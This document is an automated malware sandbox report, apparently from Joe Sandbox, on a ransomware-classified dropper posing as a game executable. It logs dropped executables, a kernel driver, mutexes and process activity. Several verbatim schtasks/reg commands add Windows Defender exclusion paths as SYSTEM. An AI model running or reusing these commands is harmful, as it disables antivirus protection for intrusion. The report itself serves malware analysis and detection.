4_2_0000000140006C95

Source: C:\Users\user\Documents\77WmQZ.exe

Code function: 4_2_0000000140001520 OpenSCManagerW,GetLastError,OpenServiceW,GetLastError,CloseServiceHandle,DeleteService,GetLastError,CloseServiceHandle,CloseServiceHandle,StartServiceCtrlDispatcherW,

4_2_0000000140001520

Source: C:\Users\user\Desktop\2834573-3676874985.02.exe

File created: C:\Windows\System32\drivers\189atohci.sys

Jump to behavior

Source: C:\Users\user\Desktop\2834573-3676874985.02.exe

File created: C:\Windows\System32\drivers\189atohci.sys

Jump to behavior

Source: C:\Users\user\Desktop\2834573-3676874985.02.exe

File created: C:\Windows\System32\drivers\189atohci.sys

Jump to behavior

Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4_2_000000014000C3F0	4_2_000000014000C3F0
Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4_2_000000014000CC00	4_2_000000014000CC00
Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4_2_0000000140001A30	4_2_0000000140001A30
Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4_2_000000014000C2A0	4_2_000000014000C2A0
Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4_2_00000001400022C0	4_2_00000001400022C0
Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4_2_00000001400110F0	4_2_00000001400110F0
Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4_2_0000000140010CF0	4_2_0000000140010CF0
Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4_2_0000000140009300	4_2_0000000140009300
Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4_2_000000014000BB70	4_2_000000014000BB70
Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4_2_0000000140003F80	4_2_0000000140003F80
Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4_2_00000001400103D0	4_2_00000001400103D0
Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4_2_00007FFE1A530248	4_2_00007FFE1A530248
Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4_2_00007FFE1A52A1B8	4_2_00007FFE1A52A1B8
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Code function: 40_2_00C34AE2	40_2_00C34AE2
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Code function: 42_2_00B04AE2	42_2_00B04AE2
Source: C:\Program Files (x86)\yKOHid\5fuoTf.exe	Code function: 47_2_00E34AE2	47_2_00E34AE2

Source: Joe Sandbox View

Dropped File: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe 7BAFB7B02EA7C52D3511F3AC21C0586E92C44738AD992D63463AADC260C81722

Source: 2834573-3676874985.02.exe, 00000000.00000003.2082552047.0000000004044000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSa.dllp( vs 2834573-3676874985.02.exe
Source: 2834573-3676874985.02.exe, 00000000.00000000.1703016869.0000000141D7F000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameBootstrapPackagedGame-Win64-Shipping.exeD vs 2834573-3676874985.02.exe
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevseamps.exe, vs 2834573-3676874985.02.exe
Source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSa.dllp( vs 2834573-3676874985.02.exe
Source: 2834573-3676874985.02.exe	Binary or memory string: OriginalFilenameBootstrapPackagedGame-Win64-Shipping.exeD vs 2834573-3676874985.02.exe

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f

Source: 4.2.77WmQZ.exe.2760000.1.unpack, type: UNPACKEDPE

Matched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender

Source: 189atohci.sys.0.dr	Binary string: \Device\Driver\
Source: 189atohci.sys.0.dr	Binary string: \Device\TrueSight

Source: classification engine

Classification label: mal100.rans.evad.winEXE@71/32@33/3

Source: C:\Users\user\Documents\77WmQZ.exe

Code function: 4_2_0000000140003F80 InitializeCriticalSection,#4,#4,GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,EnterCriticalSection,LeaveCriticalSection,GetVersionExW,RpcSsDontSerializeContext,RpcServerUseProtseqEpW,RpcServerRegisterIfEx,RpcServerListen,CreateWaitableTimerW,CreateEventW,SetWaitableTimer,

4_2_0000000140003F80

Source: C:\Users\user\Documents\77WmQZ.exe

Code function: GetModuleFileNameW,OpenSCManagerW,GetLastError,CreateServiceW,CloseServiceHandle,GetLastError,CloseServiceHandle,

4_2_0000000140001430

Source: C:\Users\user\Documents\77WmQZ.exe

4_2_0000000140001520

Source: C:\Users\user\Documents\77WmQZ.exe

4_2_0000000140001520

Source: C:\Users\user\Documents\77WmQZ.exe

File created: C:\Program Files (x86)\vtAIyr

Jump to behavior

Source: C:\Users\user\Desktop\2834573-3676874985.02.exe

File created: C:\Users\user\Documents\77WmQZ.exe

Jump to behavior

Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\IEToolbarUninstaller
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5916:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2692:120:WilError_03
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Mutant created: \Sessions\1\BaseNamedObjects\aefd_878164
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Mutant created: \Sessions\1\BaseNamedObjects\26f3475fc22
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Mutant created: \Sessions\1\BaseNamedObjects\{4E062DDA-444A-A2A8-84CE-E105F66A5AB3}
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3716:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2032:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2176:120:WilError_03
Source: C:\Users\user\Documents\77WmQZ.exe	Mutant created: \Sessions\1\BaseNamedObjects\48c47662941
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Mutant created: \Sessions\1\BaseNamedObjects\LJPXYXC
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6620:120:WilError_03
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Mutant created: \Sessions\1\BaseNamedObjects\8.217.59.222:8917:Sauron
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1396:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2304:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5780:120:WilError_03

Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Command line argument: tbcore3.dll	40_2_00C31000
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Command line argument: tbcore3.dll	40_2_00C31000
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Command line argument: tbcore3U.dll	40_2_00C31000
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Command line argument: tbcore3U.dll	40_2_00C31000
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Command line argument: tbcore3.dll	42_2_00B01000
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Command line argument: tbcore3.dll	42_2_00B01000
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Command line argument: tbcore3U.dll	42_2_00B01000
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Command line argument: tbcore3U.dll	42_2_00B01000
Source: C:\Program Files (x86)\yKOHid\5fuoTf.exe	Command line argument: tbcore3.dll	47_2_00E31000
Source: C:\Program Files (x86)\yKOHid\5fuoTf.exe	Command line argument: tbcore3.dll	47_2_00E31000
Source: C:\Program Files (x86)\yKOHid\5fuoTf.exe	Command line argument: tbcore3U.dll	47_2_00E31000
Source: C:\Program Files (x86)\yKOHid\5fuoTf.exe	Command line argument: tbcore3U.dll	47_2_00E31000
Source: C:\Program Files (x86)\yKOHid\5fuoTf.exe	Command line argument: .	47_2_00E32E30

Source: 2834573-3676874985.02.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Documents\77WmQZ.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\2834573-3676874985.02.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2834573-3676874985.02.exe	Virustotal: Detection: 22%
Source: 2834573-3676874985.02.exe	ReversingLabs: Detection: 26%

Source: C:\Users\user\Desktop\2834573-3676874985.02.exe

File read: C:\Users\user\Desktop\2834573-3676874985.02.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\2834573-3676874985.02.exe "C:\Users\user\Desktop\2834573-3676874985.02.exe"
Source: unknown	Process created: C:\Users\user\Documents\77WmQZ.exe C:\Users\user\Documents\77WmQZ.exe
Source: unknown	Process created: C:\Users\user\Documents\77WmQZ.exe C:\Users\user\Documents\77WmQZ.exe
Source: C:\Users\user\Documents\77WmQZ.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
Source: C:\Users\user\Documents\77WmQZ.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
Source: C:\Users\user\Documents\77WmQZ.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
Source: C:\Users\user\Documents\77WmQZ.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\user\Documents\" /t REG_DWORD /d 0 /f"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\user\Documents" /t REG_DWORD /d 0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\user\Documents" /t REG_DWORD /d 0 /f
Source: C:\Users\user\Documents\77WmQZ.exe	Process created: C:\Program Files (x86)\vtAIyr\vtAIyr.exe "C:\Program Files (x86)\vtAIyr\vtAIyr.exe"
Source: unknown	Process created: C:\Program Files (x86)\vtAIyr\vtAIyr.exe "C:\Program Files (x86)\vtAIyr\vtAIyr.exe"
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c echo.>c:\xxxx.ini
Source: unknown	Process created: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe "C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe "C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe"
Source: unknown	Process created: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe "C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe"
Source: unknown	Process created: C:\Program Files (x86)\vtAIyr\vtAIyr.exe "C:\Program Files (x86)\vtAIyr\vtAIyr.exe"
Source: C:\Users\user\Documents\77WmQZ.exe	Process created: C:\Program Files (x86)\yKOHid\5fuoTf.exe "C:\Program Files (x86)\yKOHid\5fuoTf.exe"
Source: unknown	Process created: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe "C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe"
Source: unknown	Process created: C:\Program Files (x86)\vtAIyr\vtAIyr.exe "C:\Program Files (x86)\vtAIyr\vtAIyr.exe"
Source: unknown	Process created: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe "C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe"
Source: unknown	Process created: C:\Program Files (x86)\vtAIyr\vtAIyr.exe "C:\Program Files (x86)\vtAIyr\vtAIyr.exe"
Source: C:\Users\user\Documents\77WmQZ.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Process created: C:\Program Files (x86)\vtAIyr\vtAIyr.exe "C:\Program Files (x86)\vtAIyr\vtAIyr.exe"	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Process created: C:\Program Files (x86)\yKOHid\5fuoTf.exe "C:\Program Files (x86)\yKOHid\5fuoTf.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\user\Documents\" /t REG_DWORD /d 0 /f"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\user\Documents" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c echo.>c:\xxxx.ini	Jump to behavior

Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: pid.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: hid.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: vselog.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: vselog.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: wldp.dll	Jump to behavior
